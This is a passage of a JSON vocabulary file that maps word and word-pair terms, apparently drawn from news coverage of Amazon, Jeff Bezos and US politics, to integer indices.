\"belastingaangifte\": 162351,\n  \"capcon\": 162352,\n  \"caracas\": 162353,\n  \"misunderstood cohort\": 162354,\n  \"sachs insiders\": 162355,\n  \"supplied\": 162356,\n  \"tasks\": 162357,\n  \"post investigators\": 162358,\n  \"bruggink\": 162359,\n  \"accordingly children\": 162360,\n  \"oreal\": 162361,\n  \"showname fastdom\": 162362,\n  \"james sammataro\": 162363,\n  \"report alleged\": 162364,\n  \"fanatic\": 162365,\n  \"mikhail gorbachev\": 162366,\n  \"tdy95kzvza\": 162367,\n  \"just biased\": 162368,\n  \"defense infrastructure\": 162369,\n  \"takes massive\": 162370,\n  \"yes barack\": 162371,\n  \"licensed cigar\": 162372,\n  \"bezos combined\": 162373,\n  \"service ibd\": 162374,\n  \"undergoes\": 162375,\n  \"location barefoot\": 162376,\n  \"matter movement\": 162377,\n  \"malicious chips\": 162378,\n  \"separating\": 162379,\n  \"organization shortly\": 162380,\n  \"emails purportedly\": 162381,\n  \"beginning president\": 162382,\n  \"harass activists\": 162383,\n  \"bloomberg bowen\": 162384,\n  \"manuel lopez\": 162385,\n  \"channel wealth\": 162386,\n  \"approved sheets\": 162387,\n  \"veronica\": 162388,\n  \"group atomwaffen\": 162389,\n  \"politico victoria\": 162390,\n  \"amazon follow\": 162391,\n  \"performances\": 162392,\n  \"s8 r4ee\": 162393,\n  \"provide foundation\": 162394,\n  \"amazon sadie\": 162395,\n  \"amazon 25357\": 162396,\n  \"deprecating\": 162397,\n  \"tight grip\": 162398,\n  \"biggest known\": 162399,\n  \"story jack\": 162400,\n  \"reformation reappraises\": 162401,\n  \"var decoratevideoapi\": 162402,\n  \"timeshare\": 162403,\n  \"fema\": 162404,\n  \"deliver predictive\": 162405,\n  \"geoff hinton\": 162406,\n  \"economy gdp\": 162407,\n  \"information officer\": 162408,\n  \"nate\": 162409,\n  \"choice\": 162410,\n  \"wars royalty\": 162411,\n  \"pecker companies\": 162412,\n  \"answers trump\": 162413,\n  \"advances measure\": 162414,\n  \"easy negotiation\": 162415,\n  \"100 organic\": 162416,\n  \"cbs cohen\": 162417,\n  \"takeaway generally\": 162418,\n  \"box wrote\": 162419,\n  \"disney fend\": 162420,\n  \"7ctwcamp 5etweetembed\": 162421,\n  \"highlight issues\": 162422,\n  \"listings trulia\": 162423,\n  \"inflation hits\": 162424,\n  \"libtards mainstream\": 162425,\n  \"dying newspaper\": 162426,\n  \"silly fun\": 162427,\n  \"pecker story\": 162428,\n  \"policy organization\": 162429,\n  \"morning headlines\": 162430,\n  \"era history\": 162431,\n  \"manifest\": 162432,\n  \"key republican\": 162433,\n  \"collins cnn\": 162434,\n  \"infamous tweet\": 162435,\n  \"people understand\": 162436,\n  \"upstate new\": 162437,\n  \"underneath make\": 162438,\n  \"delivery market\": 162439,\n  \"laura curran\": 162440,\n  \"nuclear war\": 162441,\n  \"smoothly rattled\": 162442,\n  \"running higher\": 162443,\n  \"glide\": 162444,\n  \"spout lies\": 162445,\n  \"street conference\": 162446,\n  \"amazon defense\": 162447,\n  \"health white\": 162448,\n  \"major zinke\": 162449,\n  \"delivers mail\": 162450,\n  \"throwing tens\": 162451,\n  \"weighing decision\": 162452,\n  \"mccabe accusing\": 162453,\n  \"old known\": 162454,\n  \"mp\": 162455,\n  \"great example\": 162456,\n  \"washington interviewed\": 162457,\n  \"rightgoing\": 162458,\n  \"eitc\": 162459,\n  \"independent research\": 162460,\n  \"defensive fight\": 162461,\n  \"benefitted\": 162462,\n  \"human children\": 162463,\n  \"place orders\": 162464,\n  \"blackstones\": 162465,\n  \"currently holding\": 162466,\n  \"homophobic sexist\": 162467,\n  \"billion estimated\": 162468,\n  \"wants net\": 162469,\n  \"editor jerry\": 162470,\n  \"total chaos\": 162471,\n  \"create larger\": 162472,\n  \"competition matters\": 162473,\n  \"service severe\": 162474,\n  \"selves clearly\": 162475,\n  \"wayfair stays\": 162476,\n  \"things maybe\": 162477,\n  \"philip johnson\": 162478,\n  \"called music\": 162479,\n  \"nearby ones\": 162480,\n  \"cramer yeah\": 162481,\n  \"efforts offered\": 162482,\n  \"new foreign\": 162483,\n  \"previously protected\": 162484,\n  \"spareyou\": 162485,\n  \"gain control\": 162486,\n  \"countercharge michael\": 162487,\n  \"president allegedly\": 162488,\n  \"selling author\": 162489,\n  \"months pregnant\": 162490,\n  \"discussed policy\": 162491,\n  \"animals plants\": 162492,\n  \"book value\": 162493,\n  \"civic engagement\": 162494,\n  \"antonio\": 162495,\n  \"opioid makers\": 162496,\n  \"daily updates\": 162497,\n  \"994\": 162498,\n  \"rapid nature\": 162499,\n  \"making opiates\": 162500,\n  \"galvanized remarkable\": 162501,\n  \"critic eric\": 162502,\n  \"eye new\": 162503,\n  \"trump foxconn\": 162504,\n  \"aint seen\": 162505,\n  \"shared lives\": 162506,\n  \"post frequent\": 162507,\n  \"diet habits\": 162508,\n  \"crying baby\": 162509,\n  \"bolduan right\": 162510,\n  \"thoughtful analysis\": 162511,\n  \"microsoft headquarters\": 162512,\n  \"1776\": 162513,\n  \"invited bezos\": 162514,\n  \"new frontline\": 162515,\n  \"political activists\": 162516,\n  \"allegedly taking\": 162517,\n  \"withdraw plans\": 162518,\n  \"giant version\": 162519,\n  \"clients navigate\": 162520,\n  \"bartender ain\": 162521,\n  \"nasdaq ttph\": 162522,\n  \"resources investing\": 162523,\n  \"giant spent\": 162524,\n  \"bf happy\": 162525,\n  \"diplomatically\": 162526,\n  \"jason del\": 162527,\n  \"harpercollins\": 162528,\n  \"foundational\": 162529,\n  \"potus way\": 162530,\n  \"emitter cnn\": 162531,\n  \"raise housing\": 162532,\n  \"z2z1l1mdvj siraj\": 162533,\n  \"flushing bay\": 162534,\n  \"large primary\": 162535,\n  \"mockup\": 162536,\n  \"getty donald\": 162537,\n  \"party relationships\": 162538,\n  \"flynned\": 162539,\n  \"lee pimple\": 162540,\n  \"google billion\": 162541,\n  \"foreshadows greater\": 162542,\n  \"eric holcomb\": 162543,\n  \"brutal murders\": 162544,\n  \"highly divisive\": 162545,\n  \"totally unacceptable\": 162546,\n  \"national rate\": 162547,\n  \"training\": 162548,\n  \"500 workers\": 162549,\n  \"sales days\": 162550,\n  \"radio politicon\": 162551,\n  \"amazon wins\": 162552,\n  \"appears hopeful\": 162553,\n  \"700 west\": 162554,\n  \"regime trump\": 162555,\n  \"struggling ragtag\": 162556,\n  \"story movado\": 162557,\n  \"compelled brennan\": 162558,\n  \"mandatory payments\": 162559,\n  \"republican commentators\": 162560,\n  \"avoid groupthink\": 162561,\n  \"sets\": 162562,\n  \"strongly opposed\": 162563,\n  \"self read\": 162564,\n  \"greenpeace defend\": 162565,\n  \"value 500\": 162566,\n  \"democratic field\": 162567,\n  \"quarter mobile\": 162568,\n  \"amazon unveiled\": 162569,\n  \"estate markets\": 162570,\n  \"exchanges began\": 162571,\n  \"list compiled\": 162572,\n  \"billion today\": 162573,\n  \"home depot\": 162574,\n  \"roe wade\": 162575,\n  \"peter gerety\": 162576,\n  \"testing ballistic\": 162577,\n  \"faced 2017\": 162578,\n  \"books ny\": 162579,\n  \"malevolent gang\": 162580,\n  \"premarket winner\": 162581,\n  \"refuted amazon\": 162582,\n  \"virginia bribe\": 162583,\n  \"gop knew\": 162584,\n  \"spend thousands\": 162585,\n  \"region cnbc\": 162586,\n  \"design discussion\": 162587,\n  \"photoessayslidemodels\": 162588,\n  \"tenth\": 162589,\n  \"political naivet\\u00e9\": 162590,\n  \"shocker focus\": 162591,\n  \"consider pricing\": 162592,\n  \"ethics\": 162593,\n  \"jpm announced\": 162594,\n  \"motoring series\": 162595,\n  \"bezos reveal\": 162596,\n  \"posted series\": 162597,\n  \"prime membership\": 162598,\n  \"western economies\": 162599,\n  \"note talent\": 162600,\n  \"hassles\": 162601,\n  \"jackpot\": 162602,\n  \"cybertronian\": 162603,\n  \"76bn\": 162604,\n  \"knew mccrae\": 162605,\n  \"extra grumpy\": 162606,\n  \"amazing results\": 162607,\n  \"donnelly\": 162608,\n  \"price manipulation\": 162609,\n  \"dating according\": 162610,\n  \"odd fact\": 162611,\n  \"things ordered\": 162612,\n  \"northern california\": 162613,\n  \"renowned logistical\": 162614,\n  \"bright lighting\": 162615,\n  \"prelude\": 162616,\n  \"morrow\": 162617,\n  \"showrooming\": 162618,\n  \"million small\": 162619,\n  \"allegations medical\": 162620,\n  \"australia fun\": 162621,\n  \"newark new\": 162622,\n  \"city queensbridge\": 162623,\n  \"new licensing\": 162624,\n  \"president wanted\": 162625,\n  \"ebay accused\": 162626,\n  \"providing platform\": 162627,\n  \"manson\": 162628,\n  \"064 shares\": 162629,\n  \"npr sasha\": 162630,\n  \"opposition imperils\": 162631,\n  \"jessica liu\": 162632,\n  \"freedom cost\": 162633,\n  \"board weighs\": 162634,\n  \"mentioned hacking\": 162635,\n  \"eldest sons\": 162636,\n  \"large investments\": 162637,\n  \"underperformed\": 162638,\n  \"kelly mcgonigal\": 162639,\n  \"left miranda\": 162640,\n  \"jim carrey\": 162641,\n  \"licensing collective\": 162642,\n  \"academy awards\": 162643,\n  \"amazon spheres\": 162644,\n  \"pointless\": 162645,\n  \"firm run\": 162646,\n  \"apple business\": 162647,\n  \"wearing diamond\": 162648,\n  \"foods markets\": 162649,\n  \"ritz\": 162650,\n  \"thicket\": 162651,\n  \"pudo\": 162652,\n  \"murray president\": 162653,\n  \"fulton\": 162654,\n  \"amazon decision\": 162655,\n  \"van owners\": 162656,\n  \"inc_track_changesflag false\": 162657,\n  \"chicago shelters\": 162658,\n  \"alphabet subsidiary\": 162659,\n  \"unfold\": 162660,\n  \"voice features\": 162661,\n  \"dramatic fbi\": 162662,\n  \"neighbor zama\": 162663,\n  \"want rupaul\": 162664,\n  \"bezos pokes\": 162665,\n  \"states stand\": 162666,\n  \"gender\": 162667,\n  \"facts\": 162668,\n  \"starry list\": 162669,\n  \"holdings llc\": 162670,\n  \"separate mark\": 162671,\n  \"trump surprised\": 162672,\n  \"197\": 162673,\n  \"ipo according\": 162674,\n  \"stocks google\": 162675,\n  \"sources panel\": 162676,\n  \"haspolitical\": 162677,\n  \"sooner\": 162678,\n  \"leniency shown\": 162679,\n  \"thursdays\": 162680,\n  \"reading atlanta\": 162681,\n  \"wake thousands\": 162682,\n  \"china reuters\": 162683,\n  \"valley powers\": 162684,\n  \"marilyn\": 162685,\n  \"avoidanother government\": 162686,\n  \"scrutinize\": 162687,\n  \"underlying strength\": 162688,\n  \"mat\": 162689,\n  \"climate denying\": 162690,\n  \"458\": 162691,\n  \"pole region\": 162692,\n  \"written policies\": 162693,\n  \"beijing quota\": 162694,\n  \"detection\": 162695,\n  \"online sellers\": 162696,\n  \"separation soon\": 162697,\n  \"confirms story\": 162698,\n  \"automating\": 162699,\n  \"isabelle huppert\": 162700,\n  \"election mismanagement\": 162701,\n  \"james lowry\": 162702,\n  \"sr_1_1_sspa\": 162703,\n  \"7277761194\": 162704,\n  \"tweet promoting\": 162705,\n  \"jacknicas tells\": 162706,\n  \"administration ramps\": 162707,\n  \"mission sent\": 162708,\n  \"representative hank\": 162709,\n  \"repeated forecast\": 162710,\n  \"kansas wheat\": 162711,\n  \"customer computers\": 162712,\n  \"prosecutors disclosed\": 162713,\n  \"executive privilege\": 162714,\n  \"vermont congressional\": 162715,\n  \"telecommunications currently\": 162716,\n  \"city virginia\": 162717,\n  \"emitter\": 162718,\n  \"irked\": 162719,\n  \"malito 415\": 162720,\n  \"entitlements going\": 162721,\n  \"text exchanges\": 162722,\n  \"colorado drops\": 162723,\n  \"thresholds\": 162724,\n  \"overseas apple\": 162725,\n  \"children television\": 162726,\n  \"florida congressional\": 162727,\n  \"appointed oil\": 162728,\n  \"online players\": 162729,\n  \"robin report\": 162730,\n  \"startups reinvention\": 162731,\n  \"trump misinterpreted\": 162732,\n  \"breed\": 162733,\n  \"high iphone\": 162734,\n  \"told cabinet\": 162735,\n  \"seeking ways\": 162736,\n  \"___ mixed\": 162737,\n  \"holiday investors\": 162738,\n  \"good reasons\": 162739,\n  \"dicerna\": 162740,\n  \"tan skin\": 162741,\n  \"plane maker\": 162742,\n  \"moderate\": 162743,\n  \"code hack\": 162744,\n  \"libya model\": 162745,\n  \"flick primary\": 162746,\n  \"failing health\": 162747,\n  \"favoring open\": 162748,\n  \"maybe lot\": 162749,\n  \"major carriers\": 162750,\n  \"seattle sanchez\": 162751,\n  \"docks\": 162752,\n  \"sector 2018\": 162753,\n  \"kristina\": 162754,\n  \"sandboxed\": 162755,\n  \"areas bernard\": 162756,\n  \"carrino\": 162757,\n  \"14b market\": 162758,\n  \"signees\": 162759,\n  \"religion isn\": 162760,\n  \"new device\": 162761,\n  \"39b\": 162762,\n  \"investigates\": 162763,\n  \"accelerates\": 162764,\n  \"semierect\": 162765,\n  \"conditions n923056\": 162766,\n  \"president desire\": 162767,\n  \"forcing labor\": 162768,\n  \"batwoman replaces\": 162769,\n  \"free product\": 162770,\n  \"2018 prior\": 162771,\n  \"1975 president\": 162772,\n  \"defied\": 162773,\n  \"catril\": 162774,\n  \"80s movie\": 162775,\n  \"career choice\": 162776,\n  \"union treaty\": 162777,\n  \"disastrous immelt\": 162778,\n  \"jerusalem miles\": 162779,\n  \"lotof people\": 162780,\n  \"carell hosting\": 162781,\n  \"included issuing\": 162782,\n  \"prudently\": 162783,\n  \"holds patent\": 162784,\n  \"disseminating\": 162785,\n  \"berlin fsg\": 162786,\n  \"linger\": 162787,\n  \"brandingtexthead brandingtextsub\": 162788,\n  \"univision\": 162789,\n  \"receptive agreeing\": 162790,\n  \"countries ran\": 162791,\n  \"sell prefabricated\": 162792,\n  \"voluntarily singing\": 162793,\n  \"indictment\": 162794,\n  \"media watchdog\": 162795,\n  \"stars pageants\": 162796,\n  \"nickelsburg kate\": 162797,\n  \"paste politics\": 162798,\n  \"includes atlantic\": 162799,\n  \"younger generations\": 162800,\n  \"ark\": 162801,\n  \"kabir\": 162802,\n  \"zuker shot\": 162803,\n  \"17m\": 162804,\n  \"queens expected\": 162805,\n  \"braced\": 162806,\n  \"exchange pecker\": 162807,\n  \"xqz599iqzw donald\": 162808,\n  \"celebrate oscar\": 162809,\n  \"worth increase\": 162810,\n  \"stoneman\": 162811,\n  \"provide fulfillment\": 162812,\n  \"seen ofthe\": 162813,\n  \"rt tsorf33\": 162814,\n  \"address scrubbed\": 162815,\n  \"news enterprise\": 162816,\n  \"meeting occurred\": 162817,\n  \"professed democratic\": 162818,\n  \"does believe\": 162819,\n  \"reaching fewer\": 162820,\n  \"widespread speculation\": 162821,\n  \"image copyright\": 162822,\n  \"dani shapiro\": 162823,\n  \"motion sensing\": 162824,\n  \"country based\": 162825,\n  \"tools cambridge\": 162826,\n  \"alphabet unlike\": 162827,\n  \"3876\": 162828,\n  \"bezos latest\": 162829,\n  \"enquirer gained\": 162830,\n  \"hit amazon\": 162831,\n  \"developing national\": 162832,\n  \"little tax\": 162833,\n  \"headcount pink\": 162834,\n  \"build successful\": 162835,\n  \"state bldg\": 162836,\n  \"course save\": 162837,\n  \"pioneering parents\": 162838,\n  \"jolley\": 162839,\n  \"headquarters reimburse\": 162840,\n  \"disputing trump\": 162841,\n  \"frank pallotta\": 162842,\n  \"met extensively\": 162843,\n  \"does twisted\": 162844,\n  \"inc_custom_javascript null\": 162845,\n  \"ohava\": 162846,\n  \"goncourt winner\": 162847,\n  \"internet ad\": 162848,\n  \"help individual\": 162849,\n  \"couple comfortable\": 162850,\n  \"worries facing\": 162851,\n  \"imageserve 444ed7bb5ea74821be6b5fadf54818b4\": 162852,\n  \"settings including\": 162853,\n  \"brand according\": 162854,\n  \"coo\": 162855,\n  \"f4a m8i\": 162856,\n  \"consultancy marketplace\": 162857,\n  \"giant accountable\": 162858,\n  \"having bigger\": 162859,\n  \"revolutionary life\": 162860,\n  \"true soon\": 162861,\n  \"eu fined\": 162862,\n  \"nixon trying\": 162863,\n  \"mccabe confirminghe\": 162864,\n  \"associated dilemma\": 162865,\n  \"hare deal\": 162866,\n  \"apparent migrant\": 162867,\n  \"applicable circuit\": 162868,\n  \"division google\": 162869,\n  \"doesn reach\": 162870,\n  \"paper suffering\": 162871,\n  \"says piper\": 162872,\n  \"defied wall\": 162873,\n  \"journalist atul\": 162874,\n  \"user agreement\": 162875,\n  \"network says\": 162876,\n  \"baker julian\": 162877,\n  \"critics charge\": 162878,\n  \"deductible\": 162879,\n  \"deleterious\": 162880,\n  \"world isn\": 162881,\n  \"invite shows\": 162882,\n  \"strangeness\": 162883,\n  \"gaps view\": 162884,\n  \"past stock\": 162885,\n  \"blog half\": 162886,\n  \"progressive star\": 162887,\n  \"snowstorms\": 162888,\n  \"cutter\": 162889,\n  \"going good\": 162890,\n  \"american 80s\": 162891,\n  \"await\": 162892,\n  \"amazon incursion\": 162893,\n  \"overt\": 162894,\n  \"hosting unclassified\": 162895,\n  \"meer\": 162896,\n  \"online share\": 162897,\n  \"higher west\": 162898,\n  \"new shopping\": 162899,\n  \"company bezos\": 162900,\n  \"deaths\": 162901,\n  \"jail yesterday\": 162902,\n  \"beverage sector\": 162903,\n  \"newlyweds fox\": 162904,\n  \"lifting profit\": 162905,\n  \"buy blankets\": 162906,\n  \"xingu basin\": 162907,\n  \"deeper amazon\": 162908,\n  \"flies\": 162909,\n  \"accurate credit\": 162910,\n  \"goods newsletters\": 162911,\n  \"trusts\": 162912,\n  \"time teens\": 162913,\n  \"280\": 162914,\n  \"china leader\": 162915,\n  \"181002123302\": 162916,\n  \"colin robertson\": 162917,\n  \"b07qmsx3wd\": 162918,\n  \"p0 aa\": 162919,\n  \"explanation aside\": 162920,\n  \"confidence level\": 162921,\n  \"insecure websocket\": 162922,\n  \"honored story\": 162923,\n  \"exasperation loud\": 162924,\n  \"reuters purdue\": 162925,\n  \"viglasky netflix\": 162926,\n  \"crossing bridge\": 162927,\n  \"original plan\": 162928,\n  \"medals\": 162929,\n  \"administration 2017\": 162930,\n  \"service reliable\": 162931,\n  \"work americans\": 162932,\n  \"audience trump\": 162933,\n  \"api\": 162934,\n  \"community depends\": 162935,\n  \"investors newsletters\": 162936,\n  \"discount extravaganza\": 162937,\n  \"edge highlighted\": 162938,\n  \"attractive currency\": 162939,\n  \"hive\": 162940,\n  \"rural carrier\": 162941,\n  \"amazon dumps\": 162942,\n  \"white collar\": 162943,\n  \"times forward\": 162944,\n  \"company homepage\": 162945,\n  \"growing ties\": 162946,\n  \"olson publishing\": 162947,\n  \"cash think\": 162948,\n  \"welcoming city\": 162949,\n  \"singles stand\": 162950,\n  \"embarrassment publicizing\": 162951,\n  \"using search\": 162952,\n  \"office finances\": 162953,\n  \"tv service\": 162954,\n  \"shimron\": 162955,\n  \"fedex misses\": 162956,\n  \"looks ahead\": 162957,\n  \"evans sees\": 162958,\n  \"helped trump\": 162959,\n  \"senate needs\": 162960,\n  \"story apocalypse\": 162961,\n  \"wealth prns\": 162962,\n  \"missouri public\": 162963,\n  \"trump attorneys\": 162964,\n  \"require reworking\": 162965,\n  \"acid\": 162966,\n  \"service helped\": 162967,\n  \"abc tv\": 162968,\n  \"sba\": 162969,\n  \"botham\": 162970,\n  \"soir stands\": 162971,\n  \"vampire romance\": 162972,\n  \"tremendously troubled\": 162973,\n  \"major power\": 162974,\n  \"farm goods\": 162975,\n  \"young generation\": 162976,\n  \"preliminary story\": 162977,\n  \"benefits packages\": 162978,\n  \"shasta\": 162979,\n  \"68bil opting\": 162980,\n  \"expelled\": 162981,\n  \"probing issues\": 162982,\n  \"justify imposing\": 162983,\n  \"created challenges\": 162984,\n  \"baseball player\": 162985,\n  \"freed\": 162986,\n  \"neurological\": 162987,\n  \"pdf cowen\": 162988,\n  \"multi trillion\": 162989,\n  \"exhibitors\": 162990,\n  \"miriam oliphant\": 162991,\n  \"allowed consumers\": 162992,\n  \"younger chinese\": 162993,\n  \"yorkers clearly\": 162994,\n  \"build tech\": 162995,\n  \"urban\": 162996,\n  \"itep revealed\": 162997,\n  \"million worldwide\": 162998,\n  \"senator beleaguered\": 162999,\n  \"qa a4ee\": 163000,\n  \"amusing peccadilloes\": 163001,\n  \"international diplomacy\": 163002,\n  \"dirty water\": 163003,\n  \"president retaliatory\": 163004,\n  \"associate invested\": 163005,\n  \"kingdom retaliated\": 163006,\n  \"tax high\": 163007,\n  \"inside ownership\": 163008,\n  \"shutters competition\": 163009,\n  \"border competition\": 163010,\n  \"conditions inside\": 163011,\n  \"hanson described\": 163012,\n  \"stebbing\": 163013,\n  \"exits congress\": 163014,\n  \"cause inflation\": 163015,\n  \"table talking\": 163016,\n  \"porn facebook\": 163017,\n  \"documents held\": 163018,\n  \"virginia claiming\": 163019,\n  \"monica amazon\": 163020,\n  \"world ocasio\": 163021,\n  \"chiefs explained\": 163022,\n  \"republished\": 163023,\n  \"photo financial\": 163024,\n  \"general office\": 163025,\n  \"californians\": 163026,\n  \"think international\": 163027,\n  \"discount company\": 163028,\n  \"money mackenzie\": 163029,\n  \"sanders high\": 163030,\n  \"quarter numbers\": 163031,\n  \"pesticides ara\\u00fajo\": 163032,\n  \"ipo pinterest\": 163033,\n  \"ggggggggggggggggggggggggggggggggggggggggg\": 163034,\n  \"bezos interview\": 163035,\n  \"asked post\": 163036,\n  \"released trump\": 163037,\n  \"becker accusations\": 163038,\n  \"phil lebeau\": 163039,\n  \"better government\": 163040,\n  \"record optimism\": 163041,\n  \"disapproval tweets\": 163042,\n  \"g8 f7a\": 163043,\n  \"coalition created\": 163044,\n  \"prompting pushback\": 163045,\n  \"correct counting\": 163046,\n  \"cases amazon\": 163047,\n  \"sanchez picture\": 163048,\n  \"growth international\": 163049,\n  \"john augustine\": 163050,\n  \"zones better\": 163051,\n  \"attend invited\": 163052,\n  \"popular anger\": 163053,\n  \"bad deal\": 163054,\n  \"verge public\": 163055,\n  \"limited grocery\": 163056,\n  \"year ahead\": 163057,\n  \"printed metric\": 163058,\n  \"revenue excluding\": 163059,\n  \"adelsons\": 163060,\n  \"criteria commonly\": 163061,\n  \"sexual abuse\": 163062,\n  \"pal\": 163063,\n  \"freddie mac\": 163064,\n  \"push brick\": 163065,\n  \"rebuked\": 163066,\n  \"blasio offered\": 163067,\n  \"thestreet market\": 163068,\n  \"help box\": 163069,\n  \"whiton\": 163070,\n  \"corny misleading\": 163071,\n  \"new discoveries\": 163072,\n  \"dan coats\": 163073,\n  \"option called\": 163074,\n  \"ironic\": 163075,\n  \"included prominent\": 163076,\n  \"senate mitch\": 163077,\n  \"boat hotstar\": 163078,\n  \"announcement sources\": 163079,\n  \"weekend attacks\": 163080,\n  \"did obama\": 163081,\n  \"williams chief\": 163082,\n  \"miller contact\": 163083,\n  \"tasty\": 163084,\n  \"tl vietnamese\": 163085,\n  \"affiliate commission\": 163086,\n  \"prosperity wonderful\": 163087,\n  \"cases replacing\": 163088,\n  \"enquirer led\": 163089,\n  \"staunch critic\": 163090,\n  \"troops stationed\": 163091,\n  \"commands follow\": 163092,\n  \"roughly 420\": 163093,\n  \"nudity\": 163094,\n  \"director stopped\": 163095,\n  \"cbs says\": 163096,\n  \"currents afflicting\": 163097,\n  \"paranoid thrills\": 163098,\n  \"896\": 163099,\n  \"robert baird\": 163100,\n  \"objectives spokespeople\": 163101,\n  \"bezos unveiles\": 163102,\n  \"fandom tyler\": 163103,\n  \"reproduce\": 163104,\n  \"estate project\": 163105,\n  \"susteren\": 163106,\n  \"positive reactions\": 163107,\n  \"agendas making\": 163108,\n  \"trump ad\": 163109,\n  \"nycha governing\": 163110,\n  \"past paying\": 163111,\n  \"rockets trump\": 163112,\n  \"winner takes\": 163113,\n  \"taxi medallion\": 163114,\n  \"fixed income\": 163115,\n  \"swamp dweller\": 163116,\n  \"stainless steel\": 163117,\n  \"content deals\": 163118,\n  \"information don\": 163119,\n  \"senior management\": 163120,\n  \"rape crisis\": 163121,\n  \"face challenges\": 163122,\n  \"rise consumers\": 163123,\n  \"subsidiary souq\": 163124,\n  \"taken critical\": 163125,\n  \"outrageous abuse\": 163126,\n  \"mackenzie reached\": 163127,\n  \"fleet post\": 163128,\n  \"economy deteriorating\": 163129,\n  \"resent\": 163130,\n  \"kremer\": 163131,\n  \"standpoint amzn\": 163132,\n  \"oracle corp\": 163133,\n  \"increasingly\": 163134,\n  \"sales sales\": 163135,\n  \"response latinx\": 163136,\n  \"30th\": 163137,\n  \"dem candidate\": 163138,\n  \"routinely employed\": 163139,\n  \"frequently highlights\": 163140,\n  \"expeditiously evaluate\": 163141,\n  \"president reagan\": 163142,\n  \"elections according\": 163143,\n  \"coach wagging\": 163144,\n  \"investigations looking\": 163145,\n  \"probable\": 163146,\n  \"israelis\": 163147,\n  \"american planning\": 163148,\n  \"issuance costs\": 163149,\n  \"paul manafort\": 163150,\n  \"decades courting\": 163151,\n  \"pup\": 163152,\n  \"month urging\": 163153,\n  \"counterintelligence matters\": 163154,\n  \"babies home\": 163155,\n  \"103 years\": 163156,\n  \"raven\": 163157,\n  \"ceo vallone\": 163158,\n  \"installed\": 163159,\n  \"unsafe\": 163160,\n  \"gates currently\": 163161,\n  \"exchange markets\": 163162,\n  \"computer california\": 163163,\n  \"macro uncertainties\": 163164,\n  \"coordinate\": 163165,\n  \"years giving\": 163166,\n  \"executive published\": 163167,\n  \"doctors nurses\": 163168,\n  \"decimate celebrity\": 163169,\n  \"big outrage\": 163170,\n  \"mission evangelicals\": 163171,\n  \"minute\": 163172,\n  \"core operations\": 163173,\n  \"clown character\": 163174,\n  \"carnegie\": 163175,\n  \"financial program\": 163176,\n  \"readers forum\": 163177,\n  \"ma anand\": 163178,\n  \"sciences big\": 163179,\n  \"israeli market\": 163180,\n  \"terms vacuuming\": 163181,\n  \"chief vince\": 163182,\n  \"vaccination vaccines\": 163183,\n  \"little unclear\": 163184,\n  \"florida small\": 163185,\n  \"court seat\": 163186,\n  \"chain force\": 163187,\n  \"philanthropic billionaire\": 163188,\n  \"sounded halfway\": 163189,\n  \"slovenly existence\": 163190,\n  \"radio capitol\": 163191,\n  \"watching newsletter\": 163192,\n  \"platforms zuckerberg\": 163193,\n  \"caf\\u00e9 cookbook\": 163194,\n  \"strip paint\": 163195,\n  \"videotape mark\": 163196,\n  \"electrical infrastructure\": 163197,\n  \"duckworth maternity\": 163198,\n  \"talent\": 163199,\n  \"rollers delivered\": 163200,\n  \"everybody people\": 163201,\n  \"laura kayali\": 163202,\n  \"battening\": 163203,\n  \"fico score\": 163204,\n  \"striking image\": 163205,\n  \"virginia bidding\": 163206,\n  \"d0 void\": 163207,\n  \"coonschristopher\": 163208,\n  \"drops zuckerberg\": 163209,\n  \"global leading\": 163210,\n  \"goods especially\": 163211,\n  \"443 month\": 163212,\n  \"wxzv\": 163213,\n  \"deeply moving\": 163214,\n  \"rates bezos\": 163215,\n  \"mail systems\": 163216,\n  \"billion pentagon\": 163217,\n  \"potential range\": 163218,\n  \"food recall\": 163219,\n  \"donnelly left\": 163220,\n  \"placed nearly\": 163221,\n  \"viser high\": 163222,\n  \"climate doom\": 163223,\n  \"swedish software\": 163224,\n  \"pushes facial\": 163225,\n  \"president wraith\": 163226,\n  \"drug price\": 163227,\n  \"investigating ms\": 163228,\n  \"longer contract\": 163229,\n  \"begin jason\": 163230,\n  \"operating roads\": 163231,\n  \"shows hewson\": 163232,\n  \"stars cbs\": 163233,\n  \"novel published\": 163234,\n  \"aws outpost\": 163235,\n  \"debunking\": 163236,\n  \"runs digital\": 163237,\n  \"increasingly valuable\": 163238,\n  \"series crisis\": 163239,\n  \"dare bryan\": 163240,\n  \"states copyright\": 163241,\n  \"media continue\": 163242,\n  \"speaking sourcescott\": 163243,\n  \"prices resulting\": 163244,\n  \"untold\": 163245,\n  \"filing provided\": 163246,\n  \"spirit\": 163247,\n  \"contemplates obama\": 163248,\n  \"entirety\": 163249,\n  \"hutcheson barb\": 163250,\n  \"anxiety leaving\": 163251,\n  \"political candidates\": 163252,\n  \"stabilized\": 163253,\n  \"summarily destroy\": 163254,\n  \"shares divcon\": 163255,\n  \"mgm\": 163256,\n  \"link related\": 163257,\n  \"flawed business\": 163258,\n  \"feeds reinforce\": 163259,\n  \"commercial arrangements\": 163260,\n  \"pray strategy\": 163261,\n  \"m6a\": 163262,\n  \"personal costs\": 163263,\n  \"apple ceo\": 163264,\n  \"org president\": 163265,\n  \"insurance comparison\": 163266,\n  \"seek justice\": 163267,\n  \"cost republicans\": 163268,\n  \"issue jeff\": 163269,\n  \"competitive wages\": 163270,\n  \"cleans\": 163271,\n  \"certain sections\": 163272,\n  \"142\": 163273,\n  \"lightning speed\": 163274,\n  \"posting correspondence\": 163275,\n  \"service currently\": 163276,\n  \"candidate watch\": 163277,\n  \"billboard\": 163278,\n  \"really racist\": 163279,\n  \"financing according\": 163280,\n  \"exchange event\": 163281,\n  \"usual suspects\": 163282,\n  \"caucasian female\": 163283,\n  \"domestic supply\": 163284,\n  \"rajesh\": 163285,\n  \"lab elements\": 163286,\n  \"nerve wrote\": 163287,\n  \"trump ridding\": 163288,\n  \"busting action\": 163289,\n  \"recommendations make\": 163290,\n  \"global significance\": 163291,\n  \"ingraham exclusive\": 163292,\n  \"practice amazon\": 163293,\n  \"bruising week\": 163294,\n  \"insider hayley\": 163295,\n  \"employees award\": 163296,\n  \"retailers senator\": 163297,\n  \"uk trump\": 163298,\n  \"tola capital\": 163299,\n  \"especially hard\": 163300,\n  \"karas northjersey\": 163301,\n  \"acquired internet\": 163302,\n  \"booming china\": 163303,\n  \"orders started\": 163304,\n  \"tax requirements\": 163305,\n  \"line andrea\": 163306,\n  \"google coca\": 163307,\n  \"showtime amazon\": 163308,\n  \"clear politically\": 163309,\n  \"require major\": 163310,\n  \"amazon owning\": 163311,\n  \"suspected deceptive\": 163312,\n  \"keerthy1995 nintendo\": 163313,\n  \"ceos taking\": 163314,\n  